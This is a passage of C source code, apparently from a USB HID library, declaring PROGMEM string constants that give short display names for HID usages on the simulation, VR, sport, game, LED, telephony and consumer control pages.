char pstrUsageTrackControl [] PROGMEM = "Track Ctrl"; const char pstrUsageAileron [] PROGMEM = "Aileron"; const char pstrUsageAileronTrim [] PROGMEM = "Aileron Trim"; const char pstrUsageAntiTorqueControl [] PROGMEM = "Anti-Torque Ctrl"; const char pstrUsageAutopilotEnable [] PROGMEM = "Autopilot Enable"; const char pstrUsageChaffRelease [] PROGMEM = "Chaff Release"; const char pstrUsageCollectiveControl [] PROGMEM = "Collective Ctrl"; const char pstrUsageDiveBrake [] PROGMEM = "Dive Brake"; const char pstrUsageElectronicCountermeasures [] PROGMEM = "El Countermeasures"; const char pstrUsageElevator [] PROGMEM = "Elevator"; const char pstrUsageElevatorTrim [] PROGMEM = "Elevator Trim"; const char pstrUsageRudder [] PROGMEM = "Rudder"; const char pstrUsageThrottle [] PROGMEM = "Throttle"; const char pstrUsageFlightCommunications [] PROGMEM = "Flight Comm"; const char pstrUsageFlareRelease [] PROGMEM = "Flare Release"; const char pstrUsageLandingGear [] PROGMEM = "Landing Gear"; const char pstrUsageToeBrake [] PROGMEM = "Toe Brake"; const char pstrUsageTrigger [] PROGMEM = "Trigger"; const char pstrUsageWeaponsArm [] PROGMEM = "Weapons Arm"; const char pstrUsageWeaponsSelect [] PROGMEM = "Weapons Sel"; const char pstrUsageWingFlaps [] PROGMEM = "Wing Flaps"; const char pstrUsageAccelerator [] PROGMEM = "Accel"; const char pstrUsageBrake [] PROGMEM = "Brake"; const char pstrUsageClutch [] PROGMEM = "Clutch"; const char pstrUsageShifter [] PROGMEM = "Shifter"; const char pstrUsageSteering [] PROGMEM = "Steering"; const char pstrUsageTurretDirection [] PROGMEM = "Turret Dir"; const char pstrUsageBarrelElevation [] PROGMEM = "Barrel Ele"; const char pstrUsageDivePlane [] PROGMEM = "Dive Plane"; const char pstrUsageBallast [] PROGMEM = "Ballast"; const char pstrUsageBicycleCrank [] PROGMEM = "Bicycle Crank"; const char pstrUsageHandleBars [] PROGMEM = "Handle Bars"; const char pstrUsageFrontBrake [] PROGMEM = "Front Brake"; const char pstrUsageRearBrake [] PROGMEM = "Rear Brake"; // VR Controls Page const char pstrUsageBelt [] PROGMEM = "Belt"; const char pstrUsageBodySuit [] PROGMEM = "Body Suit"; const char pstrUsageFlexor [] PROGMEM = "Flexor"; const char pstrUsageGlove [] PROGMEM = "Glove"; const char pstrUsageHeadTracker [] PROGMEM = "Head Track"; const char pstrUsageHeadMountedDisplay [] PROGMEM = "Head Disp"; const char pstrUsageHandTracker [] PROGMEM = "Hand Track"; const char pstrUsageOculometer [] PROGMEM = "Oculometer"; const char pstrUsageVest [] PROGMEM = "Vest"; const char pstrUsageAnimatronicDevice [] PROGMEM = "Animat Dev"; const char pstrUsageStereoEnable [] PROGMEM = "Stereo Enbl"; const char pstrUsageDisplayEnable [] PROGMEM = "Display Enbl"; // Sport Controls Page const char pstrUsageBaseballBat [] PROGMEM = "Baseball Bat"; const char pstrUsageGolfClub [] PROGMEM = "Golf Club"; const char pstrUsageRowingMachine [] PROGMEM = "Rowing Mach"; const char pstrUsageTreadmill [] PROGMEM = "Treadmill"; const char pstrUsageOar [] PROGMEM = "Oar"; const char pstrUsageSlope [] PROGMEM = "Slope"; const char pstrUsageRate [] PROGMEM = "Rate"; const char pstrUsageStickSpeed [] PROGMEM = "Stick Speed"; const char pstrUsageStickFaceAngle [] PROGMEM = "Stick Face Ang"; const char pstrUsageStickHeelToe [] PROGMEM = "Stick Heel/Toe"; const char pstrUsageStickFollowThough [] PROGMEM = "Stick Flw Thru"; const char pstrUsageStickTempo [] PROGMEM = "Stick Tempo"; const char pstrUsageStickType [] PROGMEM = "Stick Type"; const char pstrUsageStickHeight [] PROGMEM = "Stick Hght"; const char pstrUsagePutter [] PROGMEM = "Putter"; const char pstrUsage1Iron [] PROGMEM = "1 Iron"; const char pstrUsage2Iron [] PROGMEM = "2 Iron"; const char pstrUsage3Iron [] PROGMEM = "3 Iron"; const char pstrUsage4Iron [] PROGMEM = "4 Iron"; const char pstrUsage5Iron [] PROGMEM = "5 Iron"; const char pstrUsage6Iron [] PROGMEM = "6 Iron"; const char pstrUsage7Iron [] PROGMEM = "7 Iron"; const char pstrUsage8Iron [] PROGMEM = "8 Iron"; const char pstrUsage9Iron [] PROGMEM = "9 Iron"; const char pstrUsage10Iron [] PROGMEM = "10 Iron"; const char pstrUsage11Iron [] PROGMEM = "11 Iron"; const char pstrUsageSandWedge [] PROGMEM = "Sand Wedge"; const char pstrUsageLoftWedge [] PROGMEM = "Loft Wedge"; const char pstrUsagePowerWedge [] PROGMEM = "Pwr Wedge"; const char pstrUsage1Wood [] PROGMEM = "1 Wood"; const char pstrUsage3Wood [] PROGMEM = "3 Wood"; const char pstrUsage5Wood [] PROGMEM = "5 Wood"; const char pstrUsage7Wood [] PROGMEM = "7 Wood"; const char pstrUsage9Wood [] PROGMEM = "9 Wood"; // Game Controls Page const char pstrUsage3DGameController [] PROGMEM = "3D Game Ctrl"; const char pstrUsagePinballDevice [] PROGMEM = "Pinball Dev"; const char pstrUsageGunDevice [] PROGMEM = "Gun Dev"; const char pstrUsagePointOfView [] PROGMEM = "POV"; const char pstrUsageTurnRightLeft [] PROGMEM = "Turn Right Left"; const char pstrUsagePitchForwardBackward [] PROGMEM = "Pitch Fwd/Back"; const char pstrUsageRollRightLeft [] PROGMEM = "Roll Right/Left"; const char pstrUsageMoveRightLeft [] PROGMEM = "Move Right/Left"; const char pstrUsageMoveForwardBackward [] PROGMEM = "Move Fwd/Back"; const char pstrUsageMoveUpDown [] PROGMEM = "Move Up/Down"; const char pstrUsageLeanRightLeft [] PROGMEM = "Lean Right/Left"; const char pstrUsageLeanForwardBackward [] PROGMEM = "Lean Fwd/Back"; const char pstrUsageHeightOfPOV [] PROGMEM = "Height of POV"; const char pstrUsageFlipper [] PROGMEM = "Flipper"; const char pstrUsageSecondaryFlipper [] PROGMEM = "Second Flipper"; const char pstrUsageBump [] PROGMEM = "Bump"; const char pstrUsageNewGame [] PROGMEM = "New Game"; const char pstrUsageShootBall [] PROGMEM = "Shoot Ball"; const char pstrUsagePlayer [] PROGMEM = "Player"; const char pstrUsageGunBolt [] PROGMEM = "Gun Bolt"; const char pstrUsageGunClip [] PROGMEM = "Gun Clip"; const char pstrUsageGunSelector [] PROGMEM = "Gun Sel"; const char pstrUsageGunSingleShot [] PROGMEM = "Gun Sngl Shot"; const char pstrUsageGunBurst [] PROGMEM = "Gun Burst"; const char pstrUsageGunAutomatic [] PROGMEM = "Gun Auto"; const char pstrUsageGunSafety [] PROGMEM = "Gun Safety"; const char pstrUsageGamepadFireJump [] PROGMEM = "Gamepad Fire/Jump"; const char pstrUsageGamepadTrigger [] PROGMEM = "Gamepad Trig"; // Generic Device Controls Page const char pstrUsageBatteryStrength [] PROGMEM = "Bat Strength"; const char pstrUsageWirelessChannel [] PROGMEM = "Wireless Ch"; const char pstrUsageWirelessID [] PROGMEM = "Wireless ID"; const char pstrUsageDiscoverWirelessControl [] PROGMEM = "Discover Wireless Ctrl"; const char pstrUsageSecurityCodeCharEntered [] PROGMEM = "Sec Code Char Entrd"; const char pstrUsageSecurityCodeCharErased [] PROGMEM = "Sec Code Char Erased"; const char pstrUsageSecurityCodeCleared [] PROGMEM = "Sec Code Cleared"; // LED Page const char pstrUsageNumLock [] PROGMEM = "Num Lock"; const char pstrUsageCapsLock [] PROGMEM = "Caps Lock"; const char pstrUsageScrollLock [] PROGMEM = "Scroll Lock"; const char pstrUsageCompose [] PROGMEM = "Compose"; const char pstrUsageKana [] PROGMEM = "Kana"; const char pstrUsagePower [] PROGMEM = "Pwr"; const char pstrUsageShift [] PROGMEM = "Shift"; const char pstrUsageDoNotDisturb [] PROGMEM = "DND"; const char pstrUsageMute [] PROGMEM = "Mute"; const char pstrUsageToneEnable [] PROGMEM = "Tone Enbl"; const char pstrUsageHighCutFilter [] PROGMEM = "High Cut Fltr"; const char pstrUsageLowCutFilter [] PROGMEM = "Low Cut Fltr"; const char pstrUsageEqualizerEnable [] PROGMEM = "Eq Enbl"; const char pstrUsageSoundFieldOn [] PROGMEM = "Sound Field On"; const char pstrUsageSurroundOn [] PROGMEM = "Surround On"; const char pstrUsageRepeat [] PROGMEM = "Repeat"; const char pstrUsageStereo [] PROGMEM = "Stereo"; const char pstrUsageSamplingRateDetect [] PROGMEM = "Smpl Rate Detect"; const char pstrUsageSpinning [] PROGMEM = "Spinning"; const char pstrUsageCAV [] PROGMEM = "CAV"; const char pstrUsageCLV [] PROGMEM = "CLV"; const char pstrUsageRecordingFormatDetect [] PROGMEM = "Rec Format Detect"; const char pstrUsageOffHook [] PROGMEM = "Off Hook"; const char pstrUsageRing [] PROGMEM = "Ring"; const char pstrUsageMessageWaiting [] PROGMEM = "Msg Wait"; const char pstrUsageDataMode [] PROGMEM = "Data Mode"; const char pstrUsageBatteryOperation [] PROGMEM = "Bat Op"; const char pstrUsageBatteryOK [] PROGMEM = "Bat OK"; const char pstrUsageBatteryLow [] PROGMEM = "Bat Low"; const char pstrUsageSpeaker [] PROGMEM = "Speaker"; const char pstrUsageHeadSet [] PROGMEM = "Head Set"; const char pstrUsageHold [] PROGMEM = "Hold"; const char pstrUsageMicrophone [] PROGMEM = "Mic"; const char pstrUsageCoverage [] PROGMEM = "Coverage"; const char pstrUsageNightMode [] PROGMEM = "Night Mode"; const char pstrUsageSendCalls [] PROGMEM = "Send Calls"; const char pstrUsageCallPickup [] PROGMEM = "Call Pickup"; const char pstrUsageConference [] PROGMEM = "Conf"; const char pstrUsageStandBy [] PROGMEM = "Stand-by"; const char pstrUsageCameraOn [] PROGMEM = "Cam On"; const char pstrUsageCameraOff [] PROGMEM = "Cam Off"; const char pstrUsageOnLine [] PROGMEM = "On-Line"; const char pstrUsageOffLine [] PROGMEM = "Off-Line"; const char pstrUsageBusy [] PROGMEM = "Busy"; const char pstrUsageReady [] PROGMEM = "Ready"; const char pstrUsagePaperOut [] PROGMEM = "Paper Out"; const char pstrUsagePaperJam [] PROGMEM = "Paper Jam"; const char pstrUsageRemote [] PROGMEM = "Remote"; const char pstrUsageForward [] PROGMEM = "Fwd"; const char pstrUsageReverse [] PROGMEM = "Rev"; const char pstrUsageStop [] PROGMEM = "Stop"; const char pstrUsageRewind [] PROGMEM = "Rewind"; const char pstrUsageFastForward [] PROGMEM = "Fast Fwd"; const char pstrUsagePlay [] PROGMEM = "Play"; const char pstrUsagePause [] PROGMEM = "Pause"; const char pstrUsageRecord [] PROGMEM = "Rec"; const char pstrUsageError [] PROGMEM = "Error"; const char pstrUsageSelectedIndicator [] PROGMEM = "Usage Sel Ind"; const char pstrUsageInUseIndicator [] PROGMEM = "Usage In Use Ind"; const char pstrUsageMultiModeIndicator [] PROGMEM = "Usage Multi Mode Ind"; const char pstrUsageIndicatorOn [] PROGMEM = "Ind On"; const char pstrUsageIndicatorFlash [] PROGMEM = "Ind Flash"; const char pstrUsageIndicatorSlowBlink [] PROGMEM = "Ind Slow Blk"; const char pstrUsageIndicatorFastBlink [] PROGMEM = "Ind Fast Blk"; const char pstrUsageIndicatorOff [] PROGMEM = "Ind Off"; const char pstrUsageFlashOnTime [] PROGMEM = "Flash On Time"; const char pstrUsageSlowBlinkOnTime [] PROGMEM = "Slow Blk On Time"; const char pstrUsageSlowBlinkOffTime [] PROGMEM = "Slow Blk Off Time"; const char pstrUsageFastBlinkOnTime [] PROGMEM = "Fast Blk On Time"; const char pstrUsageFastBlinkOffTime [] PROGMEM = "Fast Blk Off Time"; const char pstrUsageIndicatorColor [] PROGMEM = "Usage Ind Color"; const char pstrUsageIndicatorRed [] PROGMEM = "Ind Red"; const char pstrUsageIndicatorGreen [] PROGMEM = "Ind Green"; const char pstrUsageIndicatorAmber [] PROGMEM = "Ind Amber"; const char pstrUsageGenericIndicator [] PROGMEM = "Gen Ind"; const char pstrUsageSystemSuspend [] PROGMEM = "Sys Suspend"; const char pstrUsageExternalPowerConnected [] PROGMEM = "Ext Pwr Conn"; // Telephony Usage Page const char pstrUsagePhone [] PROGMEM = "Phone"; const char pstrUsageAnsweringMachine [] PROGMEM = "Answ Mach"; const char pstrUsageMessageControls [] PROGMEM = "Msg Ctrls"; const char pstrUsageHandset [] PROGMEM = "Handset"; const char pstrUsageHeadset [] PROGMEM = "Headset"; const char pstrUsageTelephonyKeyPad [] PROGMEM = "Tel Key Pad"; const char pstrUsageProgrammableButton [] PROGMEM = "Prog Button"; const char pstrUsageHookSwitch [] PROGMEM = "Hook Sw"; const char pstrUsageFlash [] PROGMEM = "Flash"; const char pstrUsageFeature [] PROGMEM = "Feature"; //const char pstrUsageHold [] PROGMEM = "Hold"; const char pstrUsageRedial [] PROGMEM = "Redial"; const char pstrUsageTransfer [] PROGMEM = "Transfer"; const char pstrUsageDrop [] PROGMEM = "Drop"; const char pstrUsagePark [] PROGMEM = "Park"; const char pstrUsageForwardCalls [] PROGMEM = "Fwd Calls"; const char pstrUsageAlternateFunction [] PROGMEM = "Alt Func"; const char pstrUsageLine [] PROGMEM = "Line"; const char pstrUsageSpeakerPhone [] PROGMEM = "Spk Phone"; //const char pstrUsageConference [] PROGMEM = "Conference"; const char pstrUsageRingEnable [] PROGMEM = "Ring Enbl"; const char pstrUsageRingSelect [] PROGMEM = "Ring Sel"; const char pstrUsagePhoneMute [] PROGMEM = "Phone Mute"; const char pstrUsageCallerID [] PROGMEM = "Caller ID"; const char pstrUsageSend [] PROGMEM = "Send"; const char pstrUsageSpeedDial [] PROGMEM = "Speed Dial"; const char pstrUsageStoreNumber [] PROGMEM = "Store Num"; const char pstrUsageRecallNumber [] PROGMEM = "Recall Num"; const char pstrUsagePhoneDirectory [] PROGMEM = "Phone Dir"; const char pstrUsageVoiceMail [] PROGMEM = "Voice Mail"; const char pstrUsageScreenCalls [] PROGMEM = "Screen Calls"; //const char pstrUsageDoNotDisturb [] PROGMEM = "Do Not Disturb"; const char pstrUsageMessage [] PROGMEM = "Msg"; const char pstrUsageAnswerOnOff [] PROGMEM = "Answer On/Off"; const char pstrUsageInsideDialTone [] PROGMEM = "Inside Dial Tone"; const char pstrUsageOutsideDialTone [] PROGMEM = "Outside Dial Tone"; const char pstrUsageInsideRingTone [] PROGMEM = "Inside Ring Tone"; const char pstrUsageOutsideRingTone [] PROGMEM = "Outside Ring Tone"; const char pstrUsagePriorityRingTone [] PROGMEM = "Prior Ring Tone"; const char pstrUsageInsideRingback [] PROGMEM = "Inside Ringback"; const char pstrUsagePriorityRingback [] PROGMEM = "Priority Ringback"; const char pstrUsageLineBusyTone [] PROGMEM = "Ln Busy Tone"; const char pstrUsageReorderTone [] PROGMEM = "Reorder Tone"; const char pstrUsageCallWaitingTone [] PROGMEM = "Call Wait Tone"; const char pstrUsageConfirmationTone1 [] PROGMEM = "Cnfrm Tone1"; const char pstrUsageConfirmationTone2 [] PROGMEM = "Cnfrm Tone2"; const char pstrUsageTonesOff [] PROGMEM = "Tones Off"; const char pstrUsageOutsideRingback [] PROGMEM = "Outside Ringback"; const char pstrUsageRinger [] PROGMEM = "Ringer"; const char pstrUsagePhoneKey0 [] PROGMEM = "0"; const char pstrUsagePhoneKey1 [] PROGMEM = "1"; const char pstrUsagePhoneKey2 [] PROGMEM = "2"; const char pstrUsagePhoneKey3 [] PROGMEM = "3"; const char pstrUsagePhoneKey4 [] PROGMEM = "4"; const char pstrUsagePhoneKey5 [] PROGMEM = "5"; const char pstrUsagePhoneKey6 [] PROGMEM = "6"; const char pstrUsagePhoneKey7 [] PROGMEM = "7"; const char pstrUsagePhoneKey8 [] PROGMEM = "8"; const char pstrUsagePhoneKey9 [] PROGMEM = "9"; const char pstrUsagePhoneKeyStar [] PROGMEM = "*"; const char pstrUsagePhoneKeyPound [] PROGMEM = "#"; const char pstrUsagePhoneKeyA [] PROGMEM = "A"; const char pstrUsagePhoneKeyB [] PROGMEM = "B"; const char pstrUsagePhoneKeyC [] PROGMEM = "C"; const char pstrUsagePhoneKeyD [] PROGMEM = "D"; // Consumer Usage Page const char pstrUsageConsumerControl [] PROGMEM = "Consumer Ctrl"; const char pstrUsageNumericKeyPad [] PROGMEM = "Num Key Pad"; //const char pstrUsageProgrammableButton [] PROGMEM = "Prog Btn"; //const char pstrUsageMicrophone [] PROGMEM = "Mic"; const char pstrUsageHeadphone [] PROGMEM = "Headphone"; const char pstrUsageGraphicEqualizer [] PROGMEM = "Graph Eq"; const char pstrUsagePlus10 [] PROGMEM = "+10"; const char pstrUsagePlus100 [] PROGMEM = "+100"; const char pstrUsageAMPM [] PROGMEM = "AM/PM"; //const char pstrUsagePower [] PROGMEM = "Pwr"; const char pstrUsageReset [] PROGMEM = "Reset"; const char pstrUsageSleep [] PROGMEM = "Sleep"; const char pstrUsageSleepAfter [] PROGMEM = "Sleep After"; const char pstrUsageSleepMode [] PROGMEM = "Sleep Mode"; const char pstrUsageIllumination [] PROGMEM = "Illumin"; const char pstrUsageFunctionButtons [] PROGMEM = "Func Btns"; const char pstrUsageMenu [] PROGMEM = "Menu"; const char pstrUsageMenuPick [] PROGMEM = "Menu Pick"; const char pstrUsageMenuUp [] PROGMEM = "Menu Up"; const char pstrUsageMenuDown [] PROGMEM = "Menu Down"; const char pstrUsageMenuLeft [] PROGMEM = "Menu Left"; const char pstrUsageMenuRight [] PROGMEM = "Menu Right"; const char pstrUsageMenuEscape [] PROGMEM = "Menu Esc"; const char pstrUsageMenuValueIncrease [] PROGMEM = "Menu Val Inc"; const char pstrUsageMenuValueDecrease [] PROGMEM = "Menu Val Dec"; const char pstrUsageDataOnScreen [] PROGMEM = "Data On Scr"; const char pstrUsageClosedCaption [] PROGMEM = "Closed Cptn"; const char pstrUsageClosedCaptionSelect [] PROGMEM = "Closed Cptn Sel"; const char pstrUsageVCRTV [] PROGMEM = "VCR/TV"; const char pstrUsageBroadcastMode [] PROGMEM = "Brdcast Mode"; const char pstrUsageSnapshot [] PROGMEM = "Snapshot"; const char pstrUsageStill [] PROGMEM = "Still"; const char pstrUsageSelection [] PROGMEM = "Sel"; const char pstrUsageAssignSelection [] PROGMEM = "Assign Sel"; const char pstrUsageModeStep [] PROGMEM = "Mode Step"; const char pstrUsageRecallLast [] PROGMEM = "Recall Last"; const char pstrUsageEnterChannel [] PROGMEM = "Entr Channel"; const char pstrUsageOrderMovie [] PROGMEM = "Ord Movie"; const char pstrUsageChannel [] PROGMEM = "Channel"; const char pstrUsageMediaSelection [] PROGMEM = "Med Sel"; const char pstrUsageMediaSelectComputer [] PROGMEM = "Med Sel Comp"; const char pstrUsageMediaSelectTV [] PROGMEM = "Med Sel TV"; const char pstrUsageMediaSelectWWW [] PROGMEM = "Med Sel WWW"; const char pstrUsageMediaSelectDVD [] PROGMEM = "Med Sel DVD"; const char pstrUsageMediaSelectTelephone [] PROGMEM = "Med Sel Tel"; const char pstrUsageMediaSelectProgramGuide [] PROGMEM = "Med Sel PG"; const char pstrUsageMediaSelectVideoPhone [] PROGMEM = "Med Sel Vid"; const char pstrUsageMediaSelectGames [] PROGMEM = "Med Sel Games"; const char pstrUsageMediaSelectMessages [] PROGMEM = "Med Sel Msg"; const char pstrUsageMediaSelectCD [] PROGMEM = "Med Sel CD"; const char pstrUsageMediaSelectVCR [] PROGMEM = "Med Sel VCR"; const char pstrUsageMediaSelectTuner [] PROGMEM = "Med Sel Tuner"; const char pstrUsageQuit [] PROGMEM = "Quit"; const char pstrUsageHelp [] PROGMEM = "Help"; const char pstrUsageMediaSelectTape [] PROGMEM = "Med Sel Tape"; const char pstrUsageMediaSelectCable [] PROGMEM = "Med Sel Cbl"; const char pstrUsageMediaSelectSatellite [] PROGMEM = "Med Sel Sat"; const char pstrUsageMediaSelectSecurity [] PROGMEM = "Med Sel Secur"; const char pstrUsageMediaSelectHome [] PROGMEM = "Med Sel Home"; const char pstrUsageMediaSelectCall [] PROGMEM = "Med Sel Call"; const char pstrUsageChannelIncrement [] PROGMEM = "Ch Inc"; const char pstrUsageChannelDecrement [] PROGMEM = "Ch Dec"; const char pstrUsageMediaSelectSAP [] PROGMEM = "Med Sel SAP"; const char pstrUsageVCRPlus [] PROGMEM = "VCR+"; const char pstrUsageOnce [] PROGMEM = "Once"; const char pstrUsageDaily [] PROGMEM = "Daily"; const char pstrUsageWeekly [] PROGMEM = "Weekly"; const char pstrUsageMonthly [] PROGMEM = "Monthly"; //const char pstrUsagePlay [] PROGMEM = "Play"; //const char pstrUsagePause [] PROGMEM = "Pause"; //const char pstrUsageRecord [] PROGMEM = "Rec"; //const char pstrUsageFastForward [] PROGMEM = "FF"; //const char pstrUsageRewind [] PROGMEM = "Rewind"; const char pstrUsageScanNextTrack [] PROGMEM = "Next Track"; const char pstrUsageScanPreviousTrack [] PROGMEM = "Prev Track"; //const char pstrUsageStop [] PROGMEM = "Stop"; const char pstrUsageEject [] PROGMEM = "Eject"; const char pstrUsageRandomPlay [] PROGMEM = "Random"; const char pstrUsageSelectDisk [] PROGMEM = "Sel Disk"; const char pstrUsageEnterDisk [] PROGMEM = "Ent Disk"; //const char pstrUsageRepeat [] PROGMEM = "Repeat"; const char pstrUsageTracking [] PROGMEM = "Tracking"; const char pstrUsageTrackNormal [] PROGMEM = "Trk Norm"; const char pstrUsageSlowTracking [] PROGMEM = "Slow Trk"; const char pstrUsageFrameForward [] PROGMEM = "Frm Fwd"; const char pstrUsageFrameBackwards [] PROGMEM = "Frm Back"; const char pstrUsageMark [] PROGMEM = "Mark"; const char pstrUsageClearMark [] PROGMEM = "Clr Mark"; const char pstrUsageRepeatFromMark [] PROGMEM = "Rpt Mark"; const char pstrUsageReturnToMark [] PROGMEM = "Ret to Mark"; const char pstrUsageSearchMarkForward [] PROGMEM = "Search Mark Fwd"; const char pstrUsageSearchMarkBackwards [] PROGMEM = "Search Mark Back"; const char pstrUsageCounterReset [] PROGMEM = "Counter Reset"; const char pstrUsageShowCounter [] PROGMEM = "Show Counter"; const char pstrUsageTrackingIncrement [] PROGMEM = "Track Inc"; const char pstrUsageTrackingDecrement [] PROGMEM = "Track Dec"; const char pstrUsageStopEject [] PROGMEM = "Stop/Eject"; const char pstrUsagePlayPause [] PROGMEM = "Play/Pause"; const char pstrUsagePlaySkip [] PROGMEM = "Play/Skip"; const char pstrUsageVolume [] PROGMEM = "Vol"; const char pstrUsageBalance [] PROGMEM = "Balance"; //const char pstrUsageMute [] PROGMEM = "Mute"; const char pstrUsageBass [] PROGMEM = "Bass"; const char pstrUsageTreble [] PROGMEM = "Treble"; const char pstrUsageBassBoost [] PROGMEM = "Bass Boost"; const char pstrUsageSurroundMode [] PROGMEM = "Surround"; const char pstrUsageLoudness [] PROGMEM = "Loud"; const char pstrUsageMPX [] PROGMEM = "MPX"; const char pstrUsageVolumeIncrement [] PROGMEM = "Vol Inc"; const char pstrUsageVolumeDecrement [] PROGMEM = "Vol Dec"; const char pstrUsageSpeedSelect [] PROGMEM = "Speed"; const char pstrUsagePlaybackSpeed [] PROGMEM = "Play Speed"; const char pstrUsageStandardPlay [] PROGMEM = "Std Play"; const char pstrUsageLongPlay [] PROGMEM = "Long Play"; const char pstrUsageExtendedPlay [] PROGMEM = "Ext Play"; const char pstrUsageSlow [] PROGMEM = "Slow"; const char pstrUsageFanEnable [] PROGMEM = "Fan Enbl"; const char pstrUsageFanSpeed [] PROGMEM = "Fan Speed"; const char pstrUsageLightEnable [] PROGMEM = "Light Enbl"; const char pstrUsageLightIlluminationLevel [] PROGMEM = "Light Illum Lev"; const char pstrUsageClimateControlEnable [] PROGMEM = "Climate Enbl"; const char pstrUsageRoomTemperature [] PROGMEM = "Room Temp"; const char pstrUsageSecurityEnable [] PROGMEM = "Secur Enbl"; const char pstrUsageFireAlarm [] PROGMEM = "Fire Alm"; const char pstrUsagePoliceAlarm [] PROGMEM = "Police Alm"; const char pstrUsageProximity [] PROGMEM = "Prox"; const char pstrUsageMotion [] PROGMEM = "Motion"; const char pstrUsageDuresAlarm [] PROGMEM = "Dures Alm"; const char pstrUsageHoldupAlarm [] PROGMEM = "Holdup Alm"; const char pstrUsageMedicalAlarm [] PROGMEM = "Med Alm"; const char pstrUsageBalanceRight [] PROGMEM = "Balance Right"; const char pstrUsageBalanceLeft [] PROGMEM = "Balance Left"; const char pstrUsageBassIncrement [] PROGMEM = "Bass Inc"; const char pstrUsageBassDecrement [] PROGMEM = "Bass Dec"; const char pstrUsageTrebleIncrement [] PROGMEM = "Treble Inc"; const char pstrUsageTrebleDecrement [] PROGMEM = "Treble Dec"; const char pstrUsageSpeakerSystem [] PROGMEM = "Spk Sys"; const char pstrUsageChannelLeft [] PROGMEM = "Ch Left"; const char pstrUsageChannelRight [] PROGMEM = "Ch Right"; const char pstrUsageChannelCenter [] PROGMEM = "Ch Center"; const char pstrUsageChannelFront [] PROGMEM = "Ch Front"; const char pstrUsageChannelCenterFront [] PROGMEM = "Ch Cntr Front"; const char pstrUsageChannelSide [] PROGMEM = "Ch Side"; const char pstrUsageChannelSurround [] PROGMEM = "Ch Surround"; const char pstrUsageChannelLowFreqEnhancement [] PROGMEM = "Ch Low Freq Enh"; const char pstrUsageChannelTop [] PROGMEM = "Ch Top"; const char pstrUsageChannelUnknown [] PROGMEM = "Ch Unk"; const char pstrUsageSubChannel [] PROGMEM = "Sub-ch"; const char pstrUsageSubChannelIncrement [] PROGMEM = "Sub-ch Inc"; const char pstrUsageSubChannelDecrement [] PROGMEM = "Sub-ch Dec"; const char pstrUsageAlternateAudioIncrement [] PROGMEM = "Alt Aud Inc"; const char pstrUsageAlternateAudioDecrement [] PROGMEM = "Alt Aud Dec"; const char pstrUsageApplicationLaunchButtons [] PROGMEM = "App Launch Btns"; const char pstrUsageALLaunchButtonConfigTool [] PROGMEM = "AL Launch Conf Tl"; const char pstrUsageALProgrammableButton [] PROGMEM = "AL Pgm Btn"; const char pstrUsageALConsumerControlConfig [] PROGMEM = "AL Cons Ctrl Cfg"; const char pstrUsageALWordProcessor [] PROGMEM = "AL Word Proc"; const char pstrUsageALTextEditor [] PROGMEM = "AL Txt Edtr"; const char pstrUsageALSpreadsheet [] PROGMEM = "AL Sprdsheet"; const char pstrUsageALGraphicsEditor [] PROGMEM = "AL Graph Edtr"; const char pstrUsageALPresentationApp [] PROGMEM = "AL Present App"; const char pstrUsageALDatabaseApp [] PROGMEM = "AL DB App"; const char pstrUsageALEmailReader [] PROGMEM = "AL E-mail Rdr"; const char pstrUsageALNewsreader [] PROGMEM = "AL Newsrdr"; const char pstrUsageALVoicemail [] PROGMEM = "AL Voicemail"; const char pstrUsageALContactsAddressBook [] PROGMEM = "AL Addr Book"; const char pstrUsageALCalendarSchedule [] PROGMEM = "AL Clndr/Schdlr"; const char pstrUsageALTaskProjectManager [] PROGMEM = "AL Task/Prj Mgr"; const char pstrUsageALLogJournalTimecard [] PROGMEM = "AL Log/Jrnl/Tmcrd"; const char pstrUsageALCheckbookFinance [] PROGMEM = "AL Chckbook/Fin"; const char pstrUsageALCalculator [] PROGMEM = "AL Calc"; const char pstrUsageALAVCapturePlayback [] PROGMEM = "AL A/V Capt/Play"; const char pstrUsageALLocalMachineBrowser [] PROGMEM = "AL Loc Mach Brow"; const char pstrUsageALLANWANBrow [] PROGMEM = "AL LAN/WAN Brow"; const char pstrUsageALInternetBrowser [] PROGMEM = "AL I-net Brow"; const char pstrUsageALRemoteNetISPConnect [] PROGMEM = "AL Rem Net Con"; const char pstrUsageALNetworkConference [] PROGMEM = "AL Net Conf"; const char pstrUsageALNetworkChat [] PROGMEM = "AL Net Chat"; const char pstrUsageALTelephonyDialer [] PROGMEM = "AL Tel/Dial"; const char pstrUsageALLogon [] PROGMEM = "AL Logon"; const char pstrUsageALLogoff [] PROGMEM = "AL Logoff"; const char pstrUsageALLogonLogoff [] PROGMEM = "AL Logon/Logoff"; const char pstrUsageALTermLockScrSav [] PROGMEM = "AL Term Lock/Scr Sav"; const char pstrUsageALControlPannel [] PROGMEM = "AL Ctrl Pan"; const char pstrUsageALCommandLineProcessorRun [] PROGMEM = "AL Cmd/Run"; const char pstrUsageALProcessTaskManager [] PROGMEM = "AL Task Mgr"; const char pstrUsageALSelectTaskApplication [] PROGMEM = "AL Sel App"; const char pstrUsageALNextTaskApplication [] PROGMEM = "AL Next App"; const char pstrUsageALPreviousTaskApplication [] PROGMEM = "AL Prev App"; const char pstrUsageALPreemptiveHaltTaskApp [] PROGMEM = "AL Prmpt Halt App"; const char pstrUsageALIntegratedHelpCenter [] PROGMEM = "AL Hlp Cntr"; const char pstrUsageALDocuments [] PROGMEM = "AL Docs"; const char pstrUsageALThesaurus [] PROGMEM = "AL Thsrs"; const char pstrUsageALDictionary [] PROGMEM = "AL Dict"; const char pstrUsageALDesktop [] PROGMEM = "AL Desktop"; const char pstrUsageALSpellCheck [] PROGMEM = "AL Spell Chk"; const char pstrUsageALGrammarCheck [] PROGMEM = "AL Gram Chk"; const char pstrUsageALWirelessStatus [] PROGMEM = "AL Wireless Sts"; const char pstrUsageALKeyboardLayout [] PROGMEM = "AL Kbd Layout"; const char pstrUsageALVirusProtection [] PROGMEM = "AL Vir Protect"; const char pstrUsageALEncryption [] PROGMEM = "AL Encrypt"; const char pstrUsageALScreenSaver [] PROGMEM = "AL Scr Sav"; const char pstrUsageALAlarms [] PROGMEM = "AL Alarms"; const char pstrUsageALClock [] PROGMEM = "AL Clock"; const char pstrUsageALFileBrowser [] PROGMEM = "AL File Brow"; const char pstrUsageALPowerStatus [] PROGMEM = "AL Pwr Sts"; const char pstrUsageALImageBrowser [] PROGMEM = "AL Img Brow"; const char pstrUsageALAudioBrowser [] PROGMEM = "AL Aud Brow"; const char pstrUsageALMovieBrowser [] PROGMEM = "AL Mov Brow"; const char pstrUsageALDigitalRightsManager [] PROGMEM = "AL Dig Rights Mgr"; const char 